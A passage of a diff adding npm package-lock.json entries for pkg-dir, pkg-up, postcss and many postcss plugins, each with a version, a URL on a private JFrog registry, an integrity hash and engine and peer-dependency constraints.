"node_modules/pkg-dir/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss": { + "version": "8.4.24", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss/-/postcss-8.4.24.tgz", + "integrity": "sha512-M0RzbcI0sO/XJNucsGjvWU9ERWxb/ytp1w6dKtxTKgixdtQDq4rmx/g8W1hnaheq9jgwL/oyEdH5Bc4WwJKMqg==", + "dependencies": { + "nanoid": "^3.3.6", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-attribute-case-insensitive": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz", + "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-browser-comments": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz", + "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==", + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "browserslist": ">=4", + "postcss": ">=8" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-clamp": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-clamp/-/postcss-clamp-4.1.0.tgz", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=7.6.0" + }, + "peerDependencies": { + "postcss": "^8.4.6" + } + }, + "node_modules/postcss-color-functional-notation": { + "version": "4.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz", + "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-color-hex-alpha": { + "version": "8.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz", + "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-rebeccapurple": { + "version": "7.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz", + "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-custom-media": { + "version": "8.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz", + "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-custom-properties": { + "version": "12.1.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz", + "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-custom-selectors": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz", + "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "6.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz", + "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-double-position-gradients": { + "version": "3.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz", + "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-env-function": { + "version": "4.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-env-function/-/postcss-env-function-4.0.6.tgz", + "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-flexbugs-fixes": { + "version": "5.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz", + "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==", + "peerDependencies": { + "postcss": "^8.1.4" + } + }, + "node_modules/postcss-focus-visible": { + "version": "6.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz", + "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-within": { + "version": "5.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz", + "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-font-variant": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-gap-properties": { + "version": "3.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz", + "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-image-set-function": { + "version": "4.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz", + "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-initial": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-initial/-/postcss-initial-4.0.1.tgz", + "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-lab-function": { + "version": "4.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz", + "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-load-config/-/postcss-load-config-4.0.1.tgz", + "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==", + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^2.1.1" + }, + "engines": { + "node": ">= 14" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-load-config/node_modules/yaml": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yaml/-/yaml-2.3.1.tgz", + "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==", + "engines": { + "node": ">= 14" + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-logical": { + "version": "5.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-logical/-/postcss-logical-5.0.4.tgz", + "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-media-minmax": { + "version": "5.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz", + "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.3.tgz", + "integrity": "sha512-2/u2zraspoACtrbFRnTijMiQtb4GW4BvatjaG/bCjYQo8kLTdevCUlwuBHx2sCnSyrI3x3qj4ZK1j5LQBgzmwA==", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-nesting": { + "version": "10.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-nesting/-/postcss-nesting-10.2.0.tgz", + "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-normalize": { + "version": "10.0.1", + "resolved": 